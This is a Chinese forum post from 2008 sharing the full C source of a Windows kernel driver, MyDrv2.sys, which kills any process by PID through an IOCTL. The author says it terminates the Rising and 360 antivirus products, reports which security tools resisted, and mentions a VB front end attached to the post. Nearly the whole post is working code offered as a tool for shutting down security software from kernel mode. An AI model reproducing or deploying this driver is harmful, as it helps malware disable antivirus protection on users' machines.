|
原理很简单:
在驱动里面 ZwOpenProcess - ZwTerminateProcess - ZwClose
不知为何. 瑞星和 360 都能被结束
PS: 测试表明: IS、RkU 和 KV 都结束不了.
vb 部分源码见附件
驱动部分源码:
- #include <ntddk.h>
- __declspec(dllimport) NTSTATUS ZwOpenProcess(HANDLE* pProcessHandle, int AccessMask, OBJECT_ATTRIBUTES* pObjectAttributes, CLIENT_ID* pClientId);
- __declspec(dllimport) NTSTATUS ZwTerminateProcess(HANDLE ProcessHandle, int ExitStatus);
- __declspec(dllimport) NTSTATUS ZwClose(HANDLE ObjectHandle);
- NTSTATUS OnDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
- {
- PIO_STACK_LOCATION irpStack;
- Irp->IoStatus.Status = STATUS_SUCCESS;
- Irp->IoStatus.Information = 0;
- irpStack = IoGetCurrentIrpStackLocation(Irp);
- if(irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL &&
- irpStack->Parameters.DeviceIoControl.IoControlCode == 0x11372 &&
- irpStack->Parameters.DeviceIoControl.InputBufferLength == 4)
- {
- HANDLE hProcess = 0;
- CLIENT_ID cli = {0};
- OBJECT_ATTRIBUTES oa = {0};
- cli.UniqueProcess = *(PHANDLE)Irp->AssociatedIrp.SystemBuffer;
- oa.Length = sizeof(oa);
- DbgPrint("MyDrv2.sys : pid = %d", cli.UniqueProcess);
- if(ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cli) != 0) goto failed;
- if(hProcess == 0) goto failed;
- if(ZwTerminateProcess(hProcess, 0) != 0)
- {
- ZwClose(hProcess);
- goto failed;
- }
- ZwClose(hProcess);
- DbgPrint("MyDrv2.sys : Succeeded.");
- }
- IoCompleteRequest(Irp, IO_NO_INCREMENT);
- return STATUS_SUCCESS;
- failed:
- DbgPrint("MyDrv2.sys : Failed.");
- IoCompleteRequest(Irp, IO_NO_INCREMENT);
- return -1;
- }
- NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
- {
- UNICODE_STRING deviceName = {0}, deviceLink = {0};
- PDEVICE_OBJECT pDeviceController;
- DbgPrint("MyDrv2.sys : Load.");
- RtlInitUnicodeString(&deviceName, L"\\Device\\MyDrv2");
- IoCreateDevice(DriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDeviceController);
- RtlInitUnicodeString(&deviceLink, L"\\DosDevices\\MyDrv2");
- IoCreateSymbolicLink(&deviceLink, &deviceName);
- DriverObject->MajorFunction[IRP_MJ_CREATE] =
- DriverObject->MajorFunction[IRP_MJ_CLOSE] =
- DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OnDispatch;
- return STATUS_SUCCESS;
- }
复制代码
[ 本帖最后由 icesboy 于 2008-4-2 15:37 编辑 ] |
评分
-
查看全部评分
|